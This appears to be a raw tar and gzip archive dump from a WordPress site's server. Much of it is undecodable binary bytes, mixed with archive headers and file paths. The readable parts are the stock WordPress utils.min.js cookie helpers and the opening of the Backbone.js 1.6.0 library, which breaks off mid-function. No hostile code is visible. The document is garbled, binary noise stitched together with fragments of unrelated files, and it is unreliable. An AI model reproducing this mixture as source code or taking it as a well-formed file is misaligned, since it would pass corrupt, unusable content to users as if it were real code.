�Z�z���У���d�(����N�)R���{�G��B.��!�Q��y��+p2��zϣ>@���?��%��m�րX]g�J�J�6|��!*k:���.���`�12ے�4iB���oʬ��` I�>Y�#��M
��tpZJ�](0bq���N�/�-�:5�J亰�w���c
����d����Wdi��/PlN•�u�g2F�*(4F�Ig�E�5�#������"㏠�6`�ul�ɱ闂�>���b���ov-��O)�Fd�gf��s�	��,������EM��m���-KS��K���~+I�����R\Y�͋�k����a�|�O� ���I!.�����T_`lV�Mo����.��]����v�z��4V�r�L{SO�W%�w�Ȑ�c
J���Q�<���\���	��� ��a���/�h�?�]p	�K��̀�-�2�-G�)wJ�vO=�WLz�
"�%�(��WE��d z�SՐ��Z�'��5�@���E\|g#���JJƦ�F22W��&��7�"1��`T�&�d"�e��mmK`U`��J[4b�r��9+�0SC%��%�a�I�Y��z0@%�تG��C���r�S��F���7Gɏq^ k�~��fő���"�>�J/
/�s�dgm��d<m�1�L���v=�ʛ����`�
�1P�f�Cr��Pt���n��+�ʔ�'���#I�V8y�&S��+����E�	�a������*&�0W="����၄��V�򰈽y O"�N�@���Ȭ�.9l��h�!��9�$����S���A,ˆ�U�p�ʆK�vC�B�y�0�
O.d�9D�p��*s�K�/��9���Wȵ��R�*�Aə��Ӽ�#�E�[�k���c���t��a~$�^"�Q�.&�梔�H�
ٷf�U���oV�f��WLt-O
��="�ټ�z)��Ԧ�զ�M�ob�V���jF�����s4).�Fއ \mڭ�j��S�ת���n��T��]1��e6J#���{�8���Y=�zV�b�jэ���t� u$����ݱ��P�M�\��'��,���Uo
�Lqs-�ˤ��`�iIy���[5�p�u�c�Ÿ'�M�8h��:y+5>�ii���)�"ʹK�;Q�I:FE:FjX9ǸbH�&d�X7�W���~D��V0Y8mnry9	�S! _F�x�`��"�b*kU�y�iͼ���
��<(��-�/k�Ȓ�x��� wy�.�TŊ��u�'E��v�R��o](�xnlN�sg�����0x+�L�R�
�(n�s�\���3	�@��@?bo�?�:#�ձw��'=:��$T�6���8	O3�ST����жH�U�"x�5H�v�u)�!pwӈOcGq-q�QUE�:&����c����	��MQMg\y[irV\�\�t��$�Д����A\B�W�,yh!C�<-�2{%GevΣq�S�_�&50Z����gU���g��?��3>��`/zM�䠄uq�f�3��W�2a��5��5�W�{u���������yиC��n��	3}�)��4�D?l�T*��gY�G2���y-�/i���o���O�'=��kf�L��c[�1�.�,m��
`�N$���4���.��0��x2B�0ޔcW��դ���x����6Qm�<�ل��΍R��u�����=Z㈻8)#9�{��~�:����d��4�cS��VG?�Y����ͪ/����H�=5Ъ<������V��m�2�b����}g
������.J}�x06hR5��zNjd��F���2���V&Zw����c.%\�����P�le���ٽe@3{�E(�n�3�i8�I:_�m��"+�$�3^d\��Dx]d����dr��c?A���"
~<m�v�Z��f$Z+��Z�sR�G4Tq�ZOW\y��Z�*��F�S�a�h
M,���5���L?�L2�d�x%}D|� �$��(�~i�"��)=�`��H�"��T��%�Z�q�M��k����\��j�H�Gӳ,�6�w��NG��ӕe��Kq6˙�����e~�y��F�(6T�k���	[���!������ ��l�V��kN�>��S[�Gf9��dU��QEC�]�ت�k�1� �J�B<v
fo�͔����T*�=�8E���k~���<�M� �ʑ����
W/�78�+|[G�$o„��H��Ĉ�@�oy����h���2�b���7a�^vm#���E��-9.�?�X�M��*w���2�F]�F���pР+�R��T?�\A�O�m님�S#��*�����[X:��K���-�Ф�3�R�o0�*�#m�
~nK��G�}n6��w��a"lҡ4�Pȳ���rʸ�QF<��/�M�[�s�
�޵H~��<��o����m�L��7?��0�@�zل,����pB��\�0vq���Q��T�Ҳ���c����K����_"���.��4p�^�_��H�N��Eɸ��5��m����2��nW�<7,vˆBk.줂m����F�"�{�{��ڴ�z��l�4��+6��}�޿F�!��ve���3V®e��=�j�d��"gy��09��3���{�	_̯0=�&��D	��#;۴�t�ٌ��sVt-FC��ۑ�@����YY�2���q~��_y"w���x�Wf@@����WX��c��`���͢��
��*c��ޠV�m���*���H:�,P�Dv�Mz*�}#N�R�

�h4����X%�J���h{��r���h�^�>HB
̛p|������>�^���qf�e�{�mz��etJR�mlNx .�d�t8y�}�r0O�*L��
;���6�Z�
�c��X��*zDڴiQ���}��
���sʳFq�B���9��@Q2��88�O��r�l�G�N�e�A�{����6m�&���IC�Q�^
rkGJ���qd�$x����0�E	���4��슃o
��ɬ�	%��0/HJ��~79��0O|�T5̽�a7ewO�9:�[���N�➹�Ƽ��6v�\��c`�noP|���$,@ގ^Co��b���F�d�o���F�҉�Cl3[�Yl2f$�����3��rt�ʽH�$;�U[
����-��"��Ӟ�9O�:��2V�K`v[�R�
 Y#�IAҕMmI�����>��-���J(���K���O�Qa���	�L�)�'ӽe�n �����t����\�,��h��;ķ�l�)�q�=&5�7kPDj_��u�w���F�!�&H �{�jr�]�}񴍂O�Ѹį��Ɔ�b�J@���^>r�~�=B�����h��=�@�ܞ&��-�f�m�ɻ�:�T�b��u�j�$.�8��pn�{���M^ce&�a�*X���������z8:�f��:��P��P��Xn�����8ڪJ2Cơʌ�y���u�����at���/��6�<ղ�j�$}�rv�7au�|jUCL��V�riI�@z�m8�Lă��\6D0C�h���S�~f9̩�LlQr/A>P˴���"�U������p�g1�?���E�(G�fy���ܔ�y(��AνQ=�%�m�	����_���D��;�c��m���?�(��!�0c�Y�	��Ŭ�����k�LXt�#�O���Z	�����P���iJqSӯ��Tz�D��h���S����-���m��Q� 窥;��<FI�����y~4��w�2�n���Jc�%iEE
LIx��f��c�2L�6NF�@���/��c	�`��ozUщ�؅����㶸Fi�@�A�v��9]�3x$�mۤA����1�dZ���p@�TE�涜fm%
\�m�$@_�4K�7��Z��5K��֩�N�
Lcme�)�F1�I����t�Sֻ��d�H:!�*[�/{ۓ‚��t[{EG�2�a蓙�AD�T;�U�A�*4�Y �M9�xа�szO/s:<|�
j'�^o���3&%���P��~>�[���ة�o�}/}�#�"�` �6z�5p��"|1f�M
��"Ơ"_����t|�QFKD*��0%�QМn[)�(0(9UPV��@(K��Y�O��W�1��\�g'KY�{�Qk;"�:at|�*-��8��7�c�[�X�y
��ũG2���K�K"x���bb���?U@�o[�b���m���
7�Ora�~|ՔdKC1�@����eI�-!�b7~lիO����c6^{ )�Ɉ�Ь�J7�&Fd�V�~��}�|�٫#m���\�H����D�
�;�ƣ8Z��_Z�Ts�^�[�#�;�C�Ӄ��:;����eQh1.`(�2��.������O'v�uP�5ğ1$�8�@�6N*�t�[e�)*���e��]_F��
a
iR���cu偸�1�3�Mq9bC�ހ����̀zVL9+��K��a�vݿg0��	4�܏�Ak���=D5Xoi&†�B��h�*�������0�!P�7R����ݱH��O11.Zb�l�FDa��KhT�*gQҌ]+�-����N>��b���(��!��X�4�,�Ȏ�<V��=�֪��beٛ�w��Xn�X/LAV΍((��('
�
p}x��p!UĶ0{!����QL-p�7�'ŏ�d����T�9J���,�Kf�NX�դ��
{�{	8�n�k���7�{��7�OIux�#Te�*€��Z�.5Tg�HXk$��"��s�@���p%�=�~�V�C��<�]��DѴ�G5��H��v޼�1_�cl{/@�=O5��W�ht��2��^�d0l�P������uC���$���f�<f���=lٛh�2�&N,ۚ��r��f(}�5�F���FU�_�.j0���ձ��o�4���=>r�9;�q�6p���L��u�h�bm��^��g�vj�b�;5�e�Zi�-Ջ�
�5�������RTK��;�M�1������qotժ��Uf���j�~{�p���%٢c���2z\A�13�dҙ��8۶���g�*#�f吝���<18�����ї֒i�5���`��OYrvǝ-=UW����jI��cOO�F����p���,�Pv��'&���=�\����Y��R��>T	��
�uk�,e�f��	%]�A�.�
3�17�{|�����ovAR��)���D�&�'�,#1�^�WU��)�y�}�ESe�Yd�#푹���D8i5bsW��q0�|��DV�Qn��p�mm]}�8YB�H�;�B^ܺ����^R4�PӼo�w�Ӫ_��6�nx�S�lVU[[^u[�=)�q�9�.�Ȥ`�q�:��By
�����x����5԰��/�.�ڃuje�K@Wk(�$�>�s���b�z1��T��1�>�L�d�-j�Y�fs�Ǔ���g�H��s��dX֠M
���л�j��a�n�
\x��V\4:Jhj�Ւ��j�s��u�*��eK.#��9P?w0�5*7��>�l��.�.���}�8
�Ɔ/�}�v��'�e��C��yg0�Z��&��z(��I��L�����6�V��3���U���������c�~Hb��R�rՀ��c�5{B]1�z"^0�Í_	@qp���^ŃA�]e� Z3�O^���6��IZ�%0��v�ı�"��X�n���f%+j}f&�N�ڼ�J�i �l*܎�W�3�AhZc�,;Z�$��g���s�b��T�ꍺƚ0�iT
\7˝��~_�.��e$ǂ1E#CO|c��2̕��]0�')_K�'����*kv�N@�������lA�d����j��ٰ�]�l��c��B�=q�$3�}�<�ǃl�2@��LP�-����$�r*����*�e���9b��ݕ
�;t�8����	徻�}���(G���SZ����PA��׻��@��'U8'��&�x�鄖��Z+#1A����8�)�Mm^uv�_f��I)��*$�hh�ʷO��p ]����?a�x�t/>@��x�:Y��j:�)r�PLI���Ҷ��7oum��X�[@'�v6_6ma�`��,9�k�l��ƻj���	�Q��,���I�V{�ǟ�Q�S}d����1�V�9�N-�&n!+����3��]k���f���Wޯ�m)��uMk*y‡�D9B�[�Ru�N�|��+�5��ߠ�f%l�����\	�R��
�ۍ�Xc�"�G)z%�Z`�ާExG{��S�����j����7Y*6���,��E���[��_kH�2*!9�[��ѹ��4.iq/�:na�t�j�K)efy�g)Iѝ��s�K��C-��W��c���tW+;�{�Tn���N�lNw�d�Q�{��Yedd����
k�s/�G��H����Xܓ,�&A��pi��Ҵ4�i[�&j�`o�HQ�*L�!5:t?��K!�0ڍ�W���jDQP��`��rU�:���+<�e]萬)I�)NFI&I4�z�y��I�c�O��"cw ]�[?>j�q�@�Y(�
�_�}
���f����u��cPMٌ����ƌ�;Q>�	\���H���ڎ��1.��	$�/�p�U����@���`�
�����Y{��5�X5�_��!N�IqqC�-X%NK�
����faS�%jKV���_��>,�]��4)0��p����W݃e�*LˣST\%�_���`�v���`��ު�Xv�C�2�v��	���_�sO
�t0��F���"Aejc���ͤgCv�-d�ᐮY1.�90�P���I!2�%9נN @����e��2d��@ᔢ˰� cw]yz��Q�]�@a�d0(�YcЖ�mq�Ѧ���}�!?j��۸'/��+x4!GlIYw6��ٹ��d�$%��&1r_(�E�D���~�/:
�뤐8SmB�ߋ�l����,t�v�;B:�)((l3��}ʾ��nŌ��&1���O�Lbɍ1J]Nf�b�J�ά��Ƌ�:�`�cyD�\����/�V|&k�K;�(��;��[4��C����B��LeA��bWFL����Dl�a�6F�9��P�?���0����MX�"��*�����	�	~�Ԭ����v۴�o��� �h��.N�T��f�V���q�}�E፹�KF^(`Gנ�[�<�D�I�H#ϲ%�K�`��4�?�Z�01�a�i�u�&�#���7�i�`�g1�nuϥ�<�Wl��V
CvE����e�縷����7
�X��a��5�ĉ�S�K|†S��Θ@8Z�fEް��I=c���Ʃv�dΌ�p�|2<�z_v{1z���bm��O�����]d�h���@R�����D���x#_i�ULK��R��ď�P�a�&vt
�xi��dQ�m��ᕾ��zvRp�e�劆^R��@��i�.��'��`yj���fi�rFARcpO�@�X�i�ȩ>�B��k͂,���y�Ag���2�twB�q��!F%��i�c�º��f!��\�D���,�R���Ců��b�Wg@!L�1$D�p�z���"5Jw�y���`o�T�&����OT��6}iq��8�u�6�^3>C�!�&���#�r�˵t���T$dJ��]�Z�"���ZrBj�xQʺ��HYD8�*�-C��r�xs���
zC&��F��hȞ[0ɇN7����-�Y[�� �{����
�l����[�����%�&փO�bRc1�]�4�|�bD
©����e�lB\uXl��ٻ�@��W'o^{h]�rsR�"..�?��n}�=4T�>�D�=d�2}^���+#}#�)�/�n���>���Eo0���ӄ��t��3�SF�"AL���X�7F_-���p���B��s2bg�k������O�٧]Y��ݱ`�?%��8���p��h��l0(D��3�5f���Y����)O8W������ 6�bn	����x"��1�%��DL`����y4��6�<��"<ѯ'�������=�>�Ύ��g9�� a��4ʁ�����0 �Ef����H>�?��OFW��Z(7J�Rp�c��"�ȥB�֧@�xZ�=G�@ʅw}��b�;ȶ7�����5.@�Q���}M��1��
6�R�ޒ[&��3�8N���4�����u�i8�`�9�<���F̀c8��O�aJCR,}�D�L!�:.�x;E����|�} �$bm�`պ�Umj��\篘�zcÎ��ī�p�3��=��?��=����U��B��Uo��M��R��p�63����N��p��l���I���
�f���s�
Ag��,�}��e�<�y��P�����vQ`|A܈pYP�J f=��6L6Zj����B�y�����76�-W2�
��K[�%�uidn{i�t�!���־]P		l��qj��ߋtOy�UR&��c$"�x>7ps�jy��-�[%U�	Y(���Y*�*�VK('.1�
9e=�����ɒ
]��f����T{�۽���˖dE��ц�u��7�=��}�����_��}�?V-�14338/utils.min.js.tar000064400000007000151024420100010255 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/js/utils.min.js000064400000003510151024231100024234 0ustar00/*! This file is auto-generated */
window.wpCookies={each:function(e,t,n){var i,s;if(!e)return 0;if(n=n||e,void 0!==e.length){for(i=0,s=e.length;i<s;i++)if(!1===t.call(n,e[i],i,e))return 0}else for(i in e)if(e.hasOwnProperty(i)&&!1===t.call(n,e[i],i,e))return 0;return 1},getHash:function(e){var t,e=this.get(e);return e&&this.each(e.split("&"),function(e){e=e.split("="),(t=t||{})[e[0]]=e[1]}),t},setHash:function(e,t,n,i,s,r){var o="";this.each(t,function(e,t){o+=(o?"&":"")+t+"="+e}),this.set(e,o,n,i,s,r)},get:function(e){var t,n,i=document.cookie,e=e+"=";if(i){if(-1===(n=i.indexOf("; "+e))){if(0!==(n=i.indexOf(e)))return null}else n+=2;return-1===(t=i.indexOf(";",n))&&(t=i.length),decodeURIComponent(i.substring(n+e.length,t))}},set:function(e,t,n,i,s,r){var o=new Date;n="object"==typeof n&&n.toGMTString?n.toGMTString():parseInt(n,10)?(o.setTime(o.getTime()+1e3*parseInt(n,10)),o.toGMTString()):"",document.cookie=e+"="+encodeURIComponent(t)+(n?"; expires="+n:"")+(i?"; path="+i:"")+(s?"; domain="+s:"")+(r?"; secure":"")},remove:function(e,t,n,i){this.set(e,"",-1e3,t,n,i)}},window.getUserSetting=function(e,t){var n=getAllUserSettings();return n.hasOwnProperty(e)?n[e]:void 0!==t?t:""},window.setUserSetting=function(e,t,n){var i,s,r,o;return"object"==typeof userSettings&&(i=userSettings.uid,s=wpCookies.getHash("wp-settings-"+i),r=userSettings.url,o=!!userSettings.secure,e=e.toString().replace(/[^A-Za-z0-9_-]/g,""),t="number"==typeof t?parseInt(t,10):t.toString().replace(/[^A-Za-z0-9_-]/g,""),s=s||{},n?delete s[e]:s[e]=t,wpCookies.setHash("wp-settings-"+i,s,31536e3,r,"",o),wpCookies.set("wp-settings-time-"+i,userSettings.time,31536e3,r,"",o),e)},window.deleteUserSetting=function(e){return setUserSetting(e,"",1)},window.getAllUserSettings=function(){return"object"==typeof userSettings&&wpCookies.getHash("wp-settings-"+userSettings.uid)||{}};14338/text.png.png.tar.gz000064400000000536151024420100010700 0ustar00����M�O+J-.K+��O.��M-NN�KM�IM���K/-(.MK���N�/�+��K���//���K�)MI-���MLR��)���%�%zy����LLЁ��0�����ōL���0t���$���]�t���rIq���.A@���������U ��������Ç9r�P��$�/����
'���1Dc��x�/ֿ4�p���@���
)-fQ�Wq�w9���
6D6Ml�kzt@砇#����i�n\U��3o�ݰ��>]�?G~پnf��w$�x�������)�i��l��Q0
����414338/utils.min.js.min.js.tar.gz000064400000001662151024420100012101 0ustar00��UQo�6�s��C�hY���GEl}:���oP���T&5���9��=J�"��E��܃L���tZ�
�3�&�K��7���.Ve��,���D����܌�ň�$/S��k=.
�u��"���NY�����m�"
�E�8�8�D��Յ�D��Vj+�=b�m|6p.�\;��߸4r�B��@꜍�o�H�6�����A���z��"1\
����nb�p�g<�@�R	'�ww@o$O�p�9��Y�]&��YHu������c&H�<��_RN���{�58�Å��X�݊ߔ,@�[����1�Y���t�Xw��+3�A�<���0V^���E΍�]B���-�[�a��n�'X��%�E��j�TE��b���:�\w����Q��>����.��|�����S�V՞��Y*�rI���Ճ���d�ϑ�[��|z�y��`�T۶Ͻ]�ѐ&�<�{'|v�PY�����U�F24�D���ݛ�rSH�)z<��6
Ǖ'�{%!d_Q��t
�:?��g�����Vn��#�C���+�y�G�E�4���B2���g(�V͊�L�'	�}$����׌� �
6����O�ٍ�D�p�[o�5�x��֕�M̱B_�Ne��RA%�=U��7pD�u��9���f�mF��A�z�`5�/IK�`x�U�wNi�}���;d.�����
f���_�יDTQل8�l�I�Y��<ő���
��_>�!�����*��
=gM�}���
y��7^��j�{<�;���h9^!��2W��+P)�y�!c545�N3m�r0�hK�}0C��_���D/&/��ʊ@�������n�X��# mO��N�����_+2"]����)<��C�K�~�_ǟ�ɞ�ɾ�>Dž�A14338/backbone.js.tar000064400000241000151024420100010077 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/js/backbone.js000064400000235006151024226440024100 0ustar00//     Backbone.js 1.6.0

//     (c) 2010-2024 Jeremy Ashkenas and DocumentCloud
//     Backbone may be freely distributed under the MIT license.
//     For all details and documentation:
//     http://backbonejs.org

(function(factory) {

  // Establish the root object, `window` (`self`) in the browser, or `global` on the server.
  // We use `self` instead of `window` for `WebWorker` support.
  var root = typeof self == 'object' && self.self === self && self ||
            typeof global == 'object' && global.global === global && global;

  // Set up Backbone appropriately for the environment. Start with AMD.
  if (typeof define === 'function' && define.amd) {
    define(['underscore', 'jquery', 'exports'], function(_, $, exports) {
      // Export global even in AMD case in case this script is loaded with
      // others that may still expect a global Backbone.
      root.Backbone = factory(root, exports, _, $);
    });

  // Next for Node.js or CommonJS. jQuery may not be needed as a module.
  } else if (typeof exports !== 'undefined') {
    var _ = require('underscore'), $;
    try { $ = require('jquery'); } catch (e) {}
    factory(root, exports, _, $);

  // Finally, as a browser global.
  } else {
    root.Backbone = factory(root, {}, root._, root.jQuery || root.Zepto || root.ender || root.$);
  }

})(function(root, Backbone, _, $) {

  // Initial Setup
  // -------------

  // Save the previous value of the `Backbone` variable, so that it can be
  // restored later on, if `noConflict` is used.
  var previousBackbone = root.Backbone;

  // Create a local reference to a common array method we'll want to use later.
  var slice = Array.prototype.slice;

  // Current version of the library. Keep in sync with `package.json`.
  Backbone.VERSION = '1.6.0';

  // For Backbone's purposes, jQuery, Zepto, Ender, or My Library (kidding) owns
  // the `$` variable.
  Backbone.$ = $;

  // Runs Backbone.js in *noConflict* mode, returning the `Backbone` variable
  // to its previous owner. Returns a reference to this Backbone object.
  Backbone.noConflict = function() {
    root.Backbone = previousBackbone;
    return this;
  };

  // Turn on `emulateHTTP` to support legacy HTTP servers. Setting this option
  // will fake `"PATCH"`, `"PUT"` and `"DELETE"` requests via the `_method` parameter and
  // set a `X-Http-Method-Override` header.
  Backbone.emulateHTTP = false;

  // Turn on `emulateJSON` to support legacy servers that can't deal with direct
  // `application/json` requests ... this will encode the body as
  // `application/x-www-form-urlencoded` instead and will send the model in a
  // form param named `model`.
  Backbone.emulateJSON = false;

  // Backbone.Events
  // ---------------

  // A module that can be mixed in to *any object* in order to provide it with
  // a custom event channel. You may bind a callback to an event with `on` or
  // remove with `off`; `trigger`-ing an event fires all callbacks in
  // succession.
  //
  //     var object = {};
  //     _.extend(object, Backbone.Events);
  //     object.on('expand', function(){ alert('expanded'); });
  //     object.trigger('expand');
  //
  var Events = Backbone.Events = {};

  // Regular expression used to split event strings.
  var eventSplitter = /\s+/;

  // A private global variable to share between listeners and listenees.
  var _listening;

  // Iterates over the standard `event, callback` (as well as the fancy multiple
  // space-separated events `"change blur", callback` and jQuery-style event
  // maps `{event: callback}`).
  var eventsApi = function(iteratee, events, name, callback, opts) {
    var i = 0, names;
    if (name && typeof name === 'object') {
      // Handle event maps.
      if (callback !== void 0 && 'context' in opts && opts.context === void 0) opts.context = callback;
      for (names = _.keys(name); i < names.length ; i++) {
        events = eventsApi(iteratee, events, names[i], name[names[i]], opts);
      }
    } else if (name && eventSplitter.test(name)) {
      // Handle space-separated event names by delegating them individually.
      for (names = name.split(eventSplitter); i < names.length; i++) {
        events = iteratee(events, names[i], callback, opts);
      }
    } else {
      // Finally, standard events.
      events = iteratee(events, name, callback, opts);
    }
    return events;
  };

  // Bind an event to a `callback` function. Passing `"all"` will bind
  // the callback to all events fired.
  Events.on = function(name, callback, context) {
    this._events = eventsApi(onApi, this._events || {}, name, callback, {
      context: context,
      ctx: this,
      listening: _listening
    });

    if (_listening) {
      var listeners = this._listeners || (this._listeners = {});
      listeners[_listening.id] = _listening;
      // Allow the listening to use a counter, instead of tracking
      // callbacks for library interop
      _listening.interop = false;
    }

    return this;
  };

  // Inversion-of-control versions of `on`. Tell *this* object to listen to
  // an event in another object... keeping track of what it's listening to
  // for easier unbinding later.
  Events.listenTo = function(obj, name, callback) {
    if (!obj) return this;
    var id = obj._listenId || (obj._listenId = _.uniqueId('l'));
    var listeningTo = this._listeningTo || (this._listeningTo = {});
    var listening = _listening = listeningTo[id];

    // This object is not listening to any other events on `obj` yet.
    // Setup the necessary references to track the listening callbacks.
    if (!listening) {
      this._listenId || (this._listenId = _.uniqueId('l'));
      listening = _listening = listeningTo[id] = new Listening(this, obj);
    }

    // Bind callbacks on obj.
    var error = tryCatchOn(obj, name, callback, this);
    _listening = void 0;

    if (error) throw error;
    // If the target obj is not Backbone.Events, track events manually.
    if (listening.interop) listening.on(name, callback);

    return this;
  };

  // The reducing API that adds a callback to the `events` object.
  var onApi = function(events, name, callback, options) {
    if (callback) {
      var handlers = events[name] || (events[name] = []);
      var context = options.context, ctx = options.ctx, listening = options.listening;
      if (listening) listening.count++;

      handlers.push({callback: callback, context: context, ctx: context || ctx, listening: listening});
    }
    return events;
  };

  // An try-catch guarded #on function, to prevent poisoning the global
  // `_listening` variable.
  var tryCatchOn = function(obj, name, callback, context) {
    try {
      obj.on(name, callback, context);
    } catch (e) {
      return e;
    }
  };

  // Remove one or many callbacks. If `context` is null, removes all
  // callbacks with that function. If `callback` is null, removes all
  // callbacks for the event. If `name` is null, removes all bound
  // callbacks for all events.
  Events.off = function(name, callback, context) {
    if (!this._events) return this;
    this._events = eventsApi(offApi, this._events, name, callback, {
      context: context,
      listeners: this._listeners
    });

    return this;
  };

  // Tell this object to stop listening to either specific events ... or
  // to every object it's currently listening to.
  Events.stopListening = function(obj, name, callback) {
    var listeningTo = this._listeningTo;
    if (!listeningTo) return this;

    var ids = obj ? [obj._listenId] : _.keys(listeningTo);
    for (var i = 0; i < ids.length; i++) {
      var listening = listeningTo[ids[i]];

      // If listening doesn't exist, this object is not currently
      // listening to obj. Break out early.
      if (!listening) break;

      listening.obj.off(name, callback, this);
      if (listening.interop) listening.off(name, callback);
    }
    if (_.isEmpty(listeningTo)) this._listeningTo = void 0;

    return this;
  };

  // The reducing API that removes a callback from the `events` object.
  var offApi = function(events, name, callback, options) {
    if (!events) return;

    var context = options.context, listeners = options.listeners;
    var i = 0, names;

    // Delete all event listeners and "drop" events.
    if (!name && !context && !callback) {
      for (names = _.keys(listeners); i < names.length; i++) {
        listeners[names[i]].cleanup();
      }
      return;
    }

    names = name ? [name] : _.keys(events);
    for (; i < names.length; i++) {
      name = names[i];
      var handlers = events[name];

      // Bail out if there are no events stored.
      if (!handlers) break;

      // Find any remaining events.
      var remaining = [];
      for (var j = 0; j < handlers.length; j++) {
        var handler = handlers[j];
        if (
          callback && callback !== handler.callback &&
            callback !== handler.callback._callback ||
              context && context !== handler.context
        ) {
          remaining.push(handler);
        } else {
          var listening = handler.listening;
          if (listening) listening.off(name, callback);
        }
      }

      // Replace events if there are any remaining.  Otherwise, clean up.
      if (remaining.length) {
        events[name] = remaining;
      } else {
        delete events[name];
      }
    }

    return events;
  };

  // Bind an event to only be triggered a single time. After the first time
  // the callback is invoked, its listener will be removed. If multiple events
  // are passed in using the space-separated syntax, the handler will fire
  // once for each event, not once for a combination of all events.
  Events.once = function(name, callback, context) {
    // Map the event into a `{event: once}` object.
    var events = eventsApi(onceMap, {}, name, callback, this.off.bind(this));
    if (typeof name === 'string' && context == null) callback = void 0;
    return this.on(events, callback, context);
  };

  // Inversion-of-control versions of `once`.
  Events.listenToOnce = function(obj, name, callback) {
    // Map the event into a `{event: once}` object.
    var events = eventsApi(onceMap, {}, name, callback, this.stopListening.bind(this, obj));
    return this.listenTo(obj, events);
  };

  // Reduces the event callbacks into a map of `{event: onceWrapper}`.
  // `offer` unbinds the `onceWrapper` after it has been called.
  var onceMap = function(map, name, callback, offer) {
    if (callback) {
      var once = map[name] = _.once(function() {
        offer(name, once);
        callback.apply(this, arguments);
      });
      once._callback = callback;
    }
    return map;
  };

  // Trigger one or many events, firing all bound callbacks. Callbacks are
  // passed the same arguments as `trigger` is, apart from the event name
  // (unless you're listening on `"all"`, which will cause your callback to
  // receive the true name of the event as the first argument).
  Events.trigger = function(name) {
    if (!this._events) return this;

    var length = Math.max(0, arguments.length - 1);
    var args = Array(length);
    for (var i = 0; i < length; i++) args[i] = arguments[i + 1];

    eventsApi(triggerApi, this._events, name, void 0, args);
    return this;
  };

  // Handles triggering the appropriate event callbacks.
  var triggerApi = function(objEvents, name, callback, args) {
    if (objEvents) {
      var events = objEvents[name];
      var allEvents = objEvents.all;
      if (events && allEvents) allEvents = allEvents.slice();
      if (events) triggerEvents(events, args);
      if (allEvents) triggerEvents(allEvents, [name].concat(args));
    }
    return objEvents;
  };

  // A difficult-to-believe, but optimized internal dispatch function for
  // triggering events. Tries to keep the usual cases speedy (most internal
  // Backbone events have 3 arguments).
  var triggerEvents = function(events, args) {
    var ev, i = -1, l = events.length, a1 = args[0], a2 = args[1], a3 = args[2];
    switch (args.length) {
      case 0: while (++i < l) (ev = events[i]).callback.call(ev.ctx); return;
      case 1: while (++i < l) (ev = events[i]).callback.call(ev.ctx, a1); return;
      case 2: while (++i < l) (ev = events[i]).callback.call(ev.ctx, a1, a2); return;
      case 3: while (++i < l) (ev = events[i]).callback.call(ev.ctx, a1, a2, a3); return;
      default: while (++i < l) (ev = events[i]).callback.apply(ev.ctx, args); return;
    }
  };

  // A listening class that tracks and cleans up memory bindings
  // when all callbacks have been offed.
  var Listening = function(listener, obj) {
    this.id = listener._listenId;
    this.listener = listener;
    this.obj = obj;
    this.interop = true;
    this.count = 0;
    this._events = void 0;
  };

  Listening.prototype.on = Events.on;

  // Offs a callback (or several).
  // Uses an optimized counter if the listenee uses Backbone.Events.
  // Otherwise, falls back to manual tracking to support events
  // library interop.
  Listening.prototype.off = function(name, callback) {
    var cleanup;
    if (this.interop) {
      this._events = eventsApi(offApi, this._events, name, callback, {
        context: void 0,
        listeners: void 0
      });
      cleanup = !this._events;
    } else {
      this.count--;
      cleanup = this.count === 0;
    }
    if (cleanup) this.cleanup();
  };

  // Cleans up memory bindings between the listener and the listenee.
  Listening.prototype.cleanup = function() {
    delete this.listener._listeningTo[this.obj._listenId];
    if (!this.interop) delete this.obj._listeners[this.id];
  };

  // Aliases for backwards compatibility.
  Events.bind   = Events.on;
  Events.unbind = Events.off;

  // Allow the `Backbone` object to serve as a global event bus, for folks who
  // want global "pubsub" in a convenient place.
  _.extend(Backbone, Events);

  // Backbone.Model
  // --------------

  // Backbone **Models** are the basic data object in the framework --
  // frequently representing a row in a table in a database on your server.
  // A discrete chunk of data and a bunch of useful, related methods for
  // performing computations and transformations on that data.

  // Create a new model with the specified attributes. A client id (`cid`)
  // is automatically generated and assigned for you.
  var Model = Backbone.Model = function(attributes, options) {
    var attrs = attributes || {};
    options || (options = {});
    this.preinitialize.apply(this, arguments);
    this.cid = _.uniqueId(this.cidPrefix);
    this.attributes = {};
    if (options.collection) this.collection = options.collection;
    if (options.parse) attrs = this.parse(attrs, options) || {};
    var defaults = _.result(this, 'defaults');

    // Just _.defaults would work fine, but the additional _.extends
    // is in there for historical reasons. See #3843.
    attrs = _.defaults(_.extend({}, defaults, attrs), defaults);

    this.set(attrs, options);
    this.changed = {};
    this.initialize.apply(this, arguments);
  };

  // Attach all inheritable methods to the Model prototype.
  _.extend(Model.prototype, Events, {

    // A hash of attributes whose current and previous value differ.
    changed: null,

    // The value returned during the last failed validation.
    validationError: null,

    // The default name for the JSON `id` attribute is `"id"`. MongoDB and
    // CouchDB users may want to set this to `"_id"`.
    idAttribute: 'id',

    // The prefix is used to create the client id which is used to identify models locally.
    // You may want to override this if you're experiencing name clashes with model ids.
    cidPrefix: 'c',

    // preinitialize is an empty function by default. You can override it with a function
    // or object.  preinitialize will run before any instantiation logic is run in the Model.
    preinitialize: function(){},

    // Initialize is an empty function by default. Override it with your own
    // initialization logic.
    initialize: function(){},

    // Return a copy of the model's `attributes` object.
    toJSON: function(options) {
      return _.clone(this.attributes);
    },

    // Proxy `Backbone.sync` by default -- but override this if you need
    // custom syncing semantics for *this* particular model.
    sync: function() {
      return Backbone.sync.apply(this, arguments);
    },

    // Get the value of an attribute.
    get: function(attr) {
      return this.attributes[attr];
    },

    // Get the HTML-escaped value of an attribute.
    escape: function(attr) {
      return _.escape(this.get(attr));
    },

    // Returns `true` if the attribute contains a value that is not null
    // or undefined.
    has: function(attr) {
      return this.get(attr) != null;
    },

    // Special-cased proxy to underscore's `_.matches` method.
    matches: function(attrs) {
      return !!_.iteratee(attrs, this)(this.attributes);
    },

    // Set a hash of model attributes on the object, firing `"change"`. This is
    // the core primitive operation of a model, updating the data and notifying
    // anyone who needs to know about the change in state. The heart of the beast.
    set: function(key, val, options) {
      if (key == null) return this;

      // Handle both `"key", value` and `{key: value}` -style arguments.
      var attrs;
      if (typeof key === 'object') {
        attrs = key;
        options = val;
      } else {
        (attrs = {})[key] = val;
      }

      options || (options = {});

      // Run validation.
      if (!this._validate(attrs, options)) return false;

      // Extract attributes and options.
      var unset      = options.unset;
      var silent     = options.silent;
      var changes    = [];
      var changing   = this._changing;
      this._changing = true;

      if (!changing) {
        this._previousAttributes = _.clone(this.attributes);
